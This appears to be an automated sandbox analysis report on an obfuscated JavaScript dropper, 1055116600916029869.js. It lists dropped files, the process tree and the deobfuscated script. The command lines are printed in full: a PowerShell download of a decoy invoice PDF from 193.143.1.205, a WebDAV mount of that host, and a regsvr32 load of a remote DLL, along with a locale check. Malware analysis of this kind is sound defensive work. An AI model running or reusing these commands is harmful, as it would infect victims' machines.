Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14622), with CRLF line terminators
Entropy (8bit):	4.9237108218835965
TrID:
File name:	1055116600916029869.js
File size:	18'187 bytes
MD5:	6e3532b5167da3fc1233374343aab0e5
SHA1:	22882de8e1da7d479d76f06f8d392c1227b5b2b7
SHA256:	8765076b8667041ace93c38859faeb922e5337ebf6bd7c0ff294df721313e1e7
SHA512:	6cc519d55874ec9720b26aed761f4c959427533863bbf07b1b170ad6fc64a51d9d556a565f33764dc5dcbd729e4a7cd83928149981611903933cbc128363e9dd
SSDEEP:	384:lL6gMrXLVihqfOq56hsXp2kShoUbYuv3Olq1:gTIhqBaOs
TLSH:	BC824390982D592358EDB5F4C9BF38F182CC470F4D3D284C1C9B1AA43A9AEB255D7B72
File Content Preview:	function dsbmtixep(){kwmnv=[1031,3079,5127,4103,2055,3072];var ibokusym=this[pswmjtqj+yqtuqxid+hmivl+zlvogf+alovolna+drszkm+yckex+myxtzwbp](this[duixt+pbwjwz+rfobeyes+hmivl+ildyhgkca+pswmjtqj+myxtzwbp][urgwwtv+hmivl+alovolna+yqtuqxid+myxtzwbp+alovolna+vzp

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	21:01:49
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1055116600916029869.js"
Imagebase:	0x7ff6e6e60000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:01:50
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll
Imagebase:	0x7ff689ce0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:01:50
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:01:50
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:01:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	21:01:54
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff689ce0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:01:54
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f3540000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:01:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	21:01:55
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:01:55
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2064 --field-trial-handle=1568,i,5548128776833063472,11793685734987109013,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function dsbmtixep() {	dsbmtixep() ➔ undefined
1	kwmnv = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ibokusym = this[pswmjtqj + yqtuqxid + hmivl + zlvogf + alovolna + drszkm + yckex + myxtzwbp] ( this[duixt + pbwjwz + rfobeyes + hmivl + ildyhgkca + pswmjtqj + myxtzwbp][urgwwtv + hmivl + alovolna + yqtuqxid + myxtzwbp + alovolna + vzpnin + hfpyuqmjs + yswmpoyc + alovolna + rfobeyes + myxtzwbp] ( duixt + pbwjwz + rfobeyes + hmivl + ildyhgkca + pswmjtqj + myxtzwbp + iecudg + pbwjwz + eiytzsqu + alovolna + wdpjbicao + wdpjbicao ) [cpfpa + alovolna + hyyini + cpfpa + alovolna + yqtuqxid + hyqmiwmtn] ( narixuuo + sciuomoik + nblvqmi + ftvscl + ixazkb + urgwwtv + kongcok + cpfpa + cpfpa + nblvqmi + xfafpqfxv + vsinvz + ixazkb + kongcok + pbwjwz + nblvqmi + cpfpa + uxkjruq + urgwwtv + pscjijepc + yckex + myxtzwbp + hmivl + pscjijepc + wdpjbicao + oabirayij + hlxakdcyp + yqtuqxid + yckex + alovolna + wdpjbicao + uxkjruq + drszkm + yckex + myxtzwbp + alovolna + hmivl + yckex + yqtuqxid + myxtzwbp + ildyhgkca + pscjijepc + yckex + yqtuqxid + wdpjbicao + uxkjruq + pbrycvuh + pscjijepc + rfobeyes + yqtuqxid + wdpjbicao + alovolna ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( qjnkkaap = 0 ; qjnkkaap < kwmnv[wdpjbicao + alovolna + yckex + hyyini + myxtzwbp + eiytzsqu] ; ++ qjnkkaap )
4	{
5	if ( ibokusym == kwmnv[qjnkkaap] )
6	{
7	ibokusym = true;
8	break ;
9	}
10	}
11	if ( ibokusym !== true )
12	this[duixt + pbwjwz + rfobeyes + hmivl + ildyhgkca + pswmjtqj + myxtzwbp][hkbcsoq + ohuaj + ildyhgkca + myxtzwbp] ( );
13	this[duixt + pbwjwz + rfobeyes + hmivl + ildyhgkca + pswmjtqj + myxtzwbp][urgwwtv + hmivl + alovolna + yqtuqxid + myxtzwbp + alovolna + vzpnin + hfpyuqmjs + yswmpoyc + alovolna + rfobeyes + myxtzwbp] ( duixt + pbwjwz + rfobeyes + hmivl + ildyhgkca + pswmjtqj + myxtzwbp + iecudg + pbwjwz + eiytzsqu + alovolna + wdpjbicao + wdpjbicao ) [hmivl + ohuaj + yckex] ( rfobeyes + vfzjr + hyqmiwmtn + oabirayij + kundalg + rfobeyes + oabirayij + pswmjtqj + pscjijepc + sqoao + alovolna + hmivl + zlvogf + eiytzsqu + alovolna + wdpjbicao + wdpjbicao + iecudg + alovolna + eacykby + alovolna + oabirayij + ajpzyh + urgwwtv + pscjijepc + vfzjr + vfzjr + yqtuqxid + yckex + hyqmiwmtn + oabirayij + qvfuchnm + drszkm + yckex + mlivyddl + pscjijepc + gvnwrimd + alovolna + ajpzyh + duixt + alovolna + hfpyuqmjs + cpfpa + alovolna + hmzjje + ohuaj + alovolna + zlvogf + myxtzwbp + oabirayij + ajpzyh + vzpnin + ohuaj + myxtzwbp + vknvh + ildyhgkca + wdpjbicao + alovolna + oabirayij + fwzijkfas + myxtzwbp + alovolna + vfzjr + pswmjtqj + fwzijkfas + uxkjruq + ildyhgkca + yckex + mlivyddl + pscjijepc + ildyhgkca + rfobeyes + alovolna + iecudg + pswmjtqj + hyqmiwmtn + jgndatonv + oabirayij + eiytzsqu + myxtzwbp + myxtzwbp + pswmjtqj + szffngz + kundalg + kundalg + vfugci + lsftechl + twcph + iecudg + vfugci + jstyusi + twcph + iecudg + vfugci + iecudg + wyarw + pkipli + daecm + kundalg + ildyhgkca + yckex + mlivyddl + pscjijepc + ildyhgkca + rfobeyes + alovolna + iecudg + pswmjtqj + eiytzsqu + pswmjtqj + qvfuchnm + adpjcqn + adpjcqn + zlvogf + myxtzwbp + yqtuqxid + hmivl + myxtzwbp + oabirayij + fwzijkfas + myxtzwbp + alovolna + vfzjr + pswmjtqj + fwzijkfas + uxkjruq + ildyhgkca + yckex + mlivyddl + pscjijepc + ildyhgkca + rfobeyes + alovolna + iecudg + pswmjtqj + hyqmiwmtn + jgndatonv + adpjcqn + adpjcqn + rfobeyes + vfzjr + hyqmiwmtn + oabirayij + kundalg + rfobeyes + oabirayij + yckex + alovolna + myxtzwbp + oabirayij + ohuaj + zlvogf + alovolna + oabirayij + uxkjruq + uxkjruq + vfugci + lsftechl + twcph + iecudg + vfugci + jstyusi + twcph + iecudg + vfugci + iecudg + wyarw + pkipli + daecm + vukibo + lkpbxzons + lkpbxzons + lkpbxzons + lkpbxzons + uxkjruq + hyqmiwmtn + yqtuqxid + mlivyddl + sqoao + sqoao + sqoao + hmivl + pscjijepc + pscjijepc + myxtzwbp + uxkjruq + adpjcqn + adpjcqn + rfobeyes + vfzjr + hyqmiwmtn + oabirayij + kundalg + rfobeyes + oabirayij + hmivl + alovolna + hyyini + zlvogf + mlivyddl + hmivl + twcph + wyarw + oabirayij + kundalg + zlvogf + oabirayij + uxkjruq + uxkjruq + vfugci + lsftechl + twcph + iecudg + vfugci + jstyusi + twcph + iecudg + vfugci + iecudg + wyarw + pkipli + daecm + vukibo + lkpbxzons + lkpbxzons + lkpbxzons + lkpbxzons + uxkjruq + hyqmiwmtn + yqtuqxid + mlivyddl + sqoao + sqoao + sqoao + hmivl + pscjijepc + pscjijepc + myxtzwbp + uxkjruq + wyarw + ybcouji + wyarw + daecm + daecm + vfugci + daecm + ybcouji + vfugci + daecm + wyarw + vfugci + wyarw + pkipli + iecudg + hyqmiwmtn + wdpjbicao + wdpjbicao, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll",0,false) ➔ 0
14	}
15	vsinvz = "j";
16	vsinvz = "q";
17	vsinvz = "N";
18	vsinvz = "W";
19	vsinvz = "x";
20	vsinvz = "e";
21	vsinvz = "B";
22	vsinvz = "o";
23	vsinvz = "t";
24	vsinvz = "C";
25	vsinvz = "W";
26	vsinvz = "p";
27	vsinvz = "C";
28	vsinvz = "K";
29	vsinvz = "h";
30	vsinvz = "e";
31	vsinvz = "L";
32	vsinvz = "C";
33	vsinvz = "q";
34	vsinvz = "M";
35	vsinvz = "X";
36	vsinvz = "R";
37	vsinvz = "U";
38	vsinvz = "O";
39	vsinvz = "O";
40	vsinvz = "T";
41	vfugci = "T";
42	vfugci = "k";
43	vfugci = "w";
44	vfugci = "o";
45	vfugci = "j";
46	vfugci = "M";
47	vfugci = "o";
48	vfugci = "j";
49	vfugci = "N";
50	vfugci = "W";
51	vfugci = "C";
52	vfugci = "A";
53	vfugci = "z";
54	vfugci = "x";
55	vfugci = "W";
56	vfugci = "e";
57	vfugci = "q";
58	vfugci = "u";
59	vfugci = "C";
60	vfugci = "v";
61	vfugci = "Z";
62	vfugci = "b";
63	vfugci = "E";
64	vfugci = "T";
65	vfugci = "K";
66	vfugci = "H";
67	vfugci = "r";
68	vfugci = "k";
69	vfugci = "N";
70	vfugci = "J";
71	vfugci = "f";
72	vfugci = "x";
73	vfugci = "C";
74	vfugci = "S";
75	vfugci = "1";
76	hkbcsoq = "i";
77	hkbcsoq = "D";
78	hkbcsoq = "q";
79	hkbcsoq = "z";
80	hkbcsoq = "l";
81	hkbcsoq = "m";
82	hkbcsoq = "x";
83	hkbcsoq = "a";
84	hkbcsoq = "q";
85	hkbcsoq = "p";
86	hkbcsoq = "X";
87	hkbcsoq = "e";
88	hkbcsoq = "X";
89	hkbcsoq = "h";
90	hkbcsoq = "Q";
91	vzpnin = "V";
92	vzpnin = "t";
93	vzpnin = "L";
94	vzpnin = "w";
95	vzpnin = "g";
96	vzpnin = "W";
97	vzpnin = "r";
98	vzpnin = "z";
99	vzpnin = "G";
100	vzpnin = "k";
101	vzpnin = "y";
102	vzpnin = "J";
103	vzpnin = "e";
104	vzpnin = "A";
105	vzpnin = "v";
106	vzpnin = "R";
107	vzpnin = "t";
108	vzpnin = "U";
109	vzpnin = "T";
110	vzpnin = "i";
111	vzpnin = "x";
112	vzpnin = "g";
113	vzpnin = "t";
114	vzpnin = "M";
115	vzpnin = "O";
116	sciuomoik = "y";
117	sciuomoik = "L";
118	sciuomoik = "K";
119	sciuomoik = "V";
120	sciuomoik = "O";
121	sciuomoik = "i";
122	sciuomoik = "X";
123	sciuomoik = "p";
124	sciuomoik = "i";
125	sciuomoik = "w";
126	sciuomoik = "i";
127	sciuomoik = "l";
128	sciuomoik = "P";
129	sciuomoik = "l";
130	sciuomoik = "K";
131	hyyini = "s";
132	hyyini = "t";
133	hyyini = "j";
134	hyyini = "E";
135	hyyini = "K";
136	hyyini = "w";
137	hyyini = "b";
138	hyyini = "u";
139	hyyini = "Y";
140	hyyini = "g";
141	myxtzwbp = "O";
142	myxtzwbp = "a";
143	myxtzwbp = "B";
144	myxtzwbp = "t";
145	myxtzwbp = "t";
146	myxtzwbp = "w";
147	myxtzwbp = "e";
148	myxtzwbp = "J";
149	myxtzwbp = "t";
150	myxtzwbp = "r";
151	myxtzwbp = "R";
152	myxtzwbp = "H";
153	myxtzwbp = "D";
154	myxtzwbp = "R";
155	myxtzwbp = "h";
156	myxtzwbp = "J";
157	myxtzwbp = "d";
158	myxtzwbp = "u";
159	myxtzwbp = "k";
160	myxtzwbp = "R";
161	myxtzwbp = "O";
162	myxtzwbp = "P";
163	myxtzwbp = "h";
164	myxtzwbp = "r";
165	myxtzwbp = "n";
166	myxtzwbp = "n";
167	myxtzwbp = "F";
168	myxtzwbp = "i";
169	myxtzwbp = "I";
170	myxtzwbp = "y";
171	myxtzwbp = "A";
172	myxtzwbp = "s";
173	myxtzwbp = "t";
174	hmzjje = "R";
175	hmzjje = "T";
176	hmzjje = "E";
177	hmzjje = "X";
178	hmzjje = "a";
179	hmzjje = "G";
180	hmzjje = "K";
181	hmzjje = "n";
182	hmzjje = "G";
183	hmzjje = "z";
184	hmzjje = "t";
185	hmzjje = "A";
186	hmzjje = "E";
187	hmzjje = "r";
188	hmzjje = "t";
189	hmzjje = "h";
190	hmzjje = "E";
191	hmzjje = "H";
192	hmzjje = "O";
193	hmzjje = "k";
194	hmzjje = "v";
195	hmzjje = "F";
196	hmzjje = "S";
197	hmzjje = "B";
198	hmzjje = "N";
199	hmzjje = "s";
200	hmzjje = "i";
201	hmzjje = "O";
202	hmzjje = "a";
203	hmzjje = "q";
204	hmzjje = "o";
205	hmzjje = "L";
206	hmzjje = "f";
207	hmzjje = "J";
208	hmzjje = "r";
209	hmzjje = "d";
210	hmzjje = "U";
211	hmzjje = "x";
212	hmzjje = "W";
213	hmzjje = "Q";
214	hmzjje = "K";
215	hmzjje = "q";
216	vknvh = "Z";
217	vknvh = "H";
218	vknvh = "c";
219	vknvh = "T";
220	vknvh = "K";
221	vknvh = "L";
222	vknvh = "P";
223	vknvh = "p";
224	vknvh = "r";
225	vknvh = "D";
226	vknvh = "O";
227	vknvh = "o";
228	vknvh = "s";
229	vknvh = "c";
230	vknvh = "t";
231	vknvh = "q";
232	vknvh = "B";
233	vknvh = "k";
234	vknvh = "r";
235	vknvh = "j";
236	vknvh = "S";
237	vknvh = "F";
238	wdpjbicao = "b";
239	wdpjbicao = "e";
240	wdpjbicao = "v";
241	wdpjbicao = "D";
242	wdpjbicao = "U";
243	wdpjbicao = "K";
244	wdpjbicao = "r";
245	wdpjbicao = "T";
246	wdpjbicao = "u";
247	wdpjbicao = "R";
248	wdpjbicao = "p";
249	wdpjbicao = "s";
250	wdpjbicao = "w";
251	wdpjbicao = "N";
252	wdpjbicao = "d";
253	wdpjbicao = "V";
254	wdpjbicao = "H";
255	wdpjbicao = "n";
256	wdpjbicao = "Z";
257	wdpjbicao = "Y";
258	wdpjbicao = "U";
259	wdpjbicao = "Q";
260	wdpjbicao = "C";
261	wdpjbicao = "L";
262	wdpjbicao = "S";
263	wdpjbicao = "l";
264	wdpjbicao = "l";
265	pbrycvuh = "G";
266	pbrycvuh = "j";
267	pbrycvuh = "I";
268	pbrycvuh = "Z";
269	pbrycvuh = "S";
270	pbrycvuh = "L";
271	pbrycvuh = "J";
272	pbrycvuh = "D";
273	pbrycvuh = "H";
274	pbrycvuh = "a";
275	pbrycvuh = "L";
276	pbrycvuh = "L";
277	hyqmiwmtn = "P";
278	hyqmiwmtn = "g";
279	hyqmiwmtn = "p";
280	hyqmiwmtn = "H";
281	hyqmiwmtn = "z";
282	hyqmiwmtn = "d";
283	oabirayij = "p";
284	oabirayij = "R";
285	oabirayij = "F";
286	oabirayij = "w";
287	oabirayij = "p";
288	oabirayij = "B";
289	oabirayij = "z";
290	oabirayij = "D";
291	oabirayij = "x";
292	oabirayij = "N";
293	oabirayij = "x";
294	oabirayij = "i";
295	oabirayij = "x";
296	oabirayij = "D";
297	oabirayij = "l";
298	oabirayij = "T";
299	oabirayij = "F";
300	oabirayij = "k";
301	oabirayij = "v";
302	oabirayij = "l";
303	oabirayij = "G";
304	oabirayij = "H";
305	oabirayij = "y";
306	oabirayij = "a";
307	oabirayij = "w";
308	oabirayij = "O";
309	oabirayij = "b";
310	oabirayij = "I";
311	oabirayij = "p";
312	oabirayij = "x";
313	oabirayij = "M";
314	oabirayij = "U";
315	oabirayij = "U";
316	oabirayij = "n";
317	oabirayij = " ";
318	gvnwrimd = "x";
319	gvnwrimd = "Q";
320	gvnwrimd = "m";
321	gvnwrimd = "Q";
322	gvnwrimd = "a";
323	gvnwrimd = "Q";
324	gvnwrimd = "f";
325	gvnwrimd = "B";
326	gvnwrimd = "q";
327	gvnwrimd = "k";
328	hlxakdcyp = "P";
329	hlxakdcyp = "M";
330	hlxakdcyp = "W";
331	hlxakdcyp = "X";
332	hlxakdcyp = "R";
333	hlxakdcyp = "l";
334	hlxakdcyp = "W";
335	hlxakdcyp = "m";
336	hlxakdcyp = "u";
337	hlxakdcyp = "E";
338	hlxakdcyp = "W";
339	hlxakdcyp = "e";
340	hlxakdcyp = "H";
341	hlxakdcyp = "Z";
342	hlxakdcyp = "W";
343	hlxakdcyp = "c";
344	hlxakdcyp = "o";
345	hlxakdcyp = "I";
346	hlxakdcyp = "K";
347	hlxakdcyp = "P";
348	adpjcqn = "U";
349	adpjcqn = "z";
350	adpjcqn = "k";
351	adpjcqn = "Y";
352	adpjcqn = "v";
353	adpjcqn = "f";
354	adpjcqn = "E";
355	adpjcqn = "F";
356	adpjcqn = "U";
357	adpjcqn = "y";
358	adpjcqn = "B";
359	adpjcqn = "P";
360	adpjcqn = "&";
361	ohuaj = "H";
362	ohuaj = "S";
363	ohuaj = "d";
364	ohuaj = "Y";
365	ohuaj = "t";
366	ohuaj = "L";
367	ohuaj = "u";
368	fwzijkfas = "I";
369	fwzijkfas = "V";
370	fwzijkfas = "X";
371	fwzijkfas = "Y";
372	fwzijkfas = "T";
373	fwzijkfas = "L";
374	fwzijkfas = "j";
375	fwzijkfas = "E";
376	fwzijkfas = "j";
377	fwzijkfas = "B";
378	fwzijkfas = "%";
379	zlvogf = "t";
380	zlvogf = "v";
381	zlvogf = "n";
382	zlvogf = "K";
383	zlvogf = "q";
384	zlvogf = "B";
385	zlvogf = "u";
386	zlvogf = "i";
387	zlvogf = "f";
388	zlvogf = "y";
389	zlvogf = "l";
390	zlvogf = "X";
391	zlvogf = "t";
392	zlvogf = "w";
393	zlvogf = "H";
394	zlvogf = "A";
395	zlvogf = "s";
396	kongcok = "c";
397	kongcok = "v";
398	kongcok = "z";
399	kongcok = "k";
400	kongcok = "h";
401	kongcok = "g";
402	kongcok = "F";
403	kongcok = "I";
404	kongcok = "s";
405	kongcok = "f";
406	kongcok = "m";
407	kongcok = "l";
408	kongcok = "E";
409	kongcok = "R";
410	kongcok = "F";
411	kongcok = "U";
412	kongcok = "U";
413	wyarw = "J";
414	wyarw = "l";
415	wyarw = "h";
416	wyarw = "O";
417	wyarw = "r";
418	wyarw = "a";
419	wyarw = "J";
420	wyarw = "I";
421	wyarw = "h";
422	wyarw = "2";
423	twcph = "v";
424	twcph = "M";
425	twcph = "N";
426	twcph = "b";
427	twcph = "P";
428	twcph = "U";
429	twcph = "E";
430	twcph = "Z";
431	twcph = "y";
432	twcph = "T";
433	twcph = "Z";
434	twcph = "T";
435	twcph = "Y";
436	twcph = "M";
437	twcph = "A";
438	twcph = "y";
439	twcph = "r";
440	twcph = "O";
441	twcph = "Y";
442	twcph = "p";
443	twcph = "L";
444	twcph = "s";
445	twcph = "M";
446	twcph = "R";
447	twcph = "o";
448	twcph = "J";
449	twcph = "n";
450	twcph = "i";
451	twcph = "S";
452	twcph = "C";
453	twcph = "K";
454	twcph = "Q";
455	twcph = "B";
456	twcph = "P";
457	twcph = "C";
458	twcph = "k";
459	twcph = "l";
460	twcph = "A";
461	twcph = "E";
462	twcph = "U";
463	twcph = "L";
464	twcph = "3";
465	hfpyuqmjs = "S";
466	hfpyuqmjs = "b";
467	hfpyuqmjs = "g";
468	hfpyuqmjs = "m";
469	hfpyuqmjs = "D";
470	hfpyuqmjs = "d";
471	hfpyuqmjs = "J";
472	hfpyuqmjs = "V";
473	hfpyuqmjs = "S";
474	hfpyuqmjs = "s";
475	hfpyuqmjs = "q";
476	hfpyuqmjs = "f";
477	hfpyuqmjs = "a";
478	hfpyuqmjs = "M";
479	hfpyuqmjs = "Q";
480	hfpyuqmjs = "p";
481	hfpyuqmjs = "E";
482	hfpyuqmjs = "u";
483	hfpyuqmjs = "H";
484	hfpyuqmjs = "p";
485	hfpyuqmjs = "R";
486	hfpyuqmjs = "m";
487	hfpyuqmjs = "M";
488	hfpyuqmjs = "b";
489	pkipli = "A";
490	pkipli = "a";
491	pkipli = "A";
492	pkipli = "w";
493	pkipli = "C";
494	pkipli = "y";
495	pkipli = "z";
496	pkipli = "q";
497	pkipli = "m";
498	pkipli = "E";
499	pkipli = "J";
500	pkipli = "Z";
501	pkipli = "L";
502	pkipli = "S";
503	pkipli = "Z";
504	pkipli = "c";
505	pkipli = "z";
506	pkipli = "e";
507	pkipli = "P";
508	pkipli = "T";
509	pkipli = "x";
510	pkipli = "B";
511	pkipli = "C";
512	pkipli = "m";
513	pkipli = "O";
514	pkipli = "O";
515	pkipli = "I";
516	pkipli = "X";
517	pkipli = "R";
518	pkipli = "S";
519	pkipli = "l";
520	pkipli = "F";
521	pkipli = "P";
522	pkipli = "0";
523	szffngz = "y";
524	szffngz = "T";
525	szffngz = "M";
526	szffngz = "T";
527	szffngz = "O";
528	szffngz = ":";
529	ixazkb = "v";
530	ixazkb = "P";
531	ixazkb = "V";
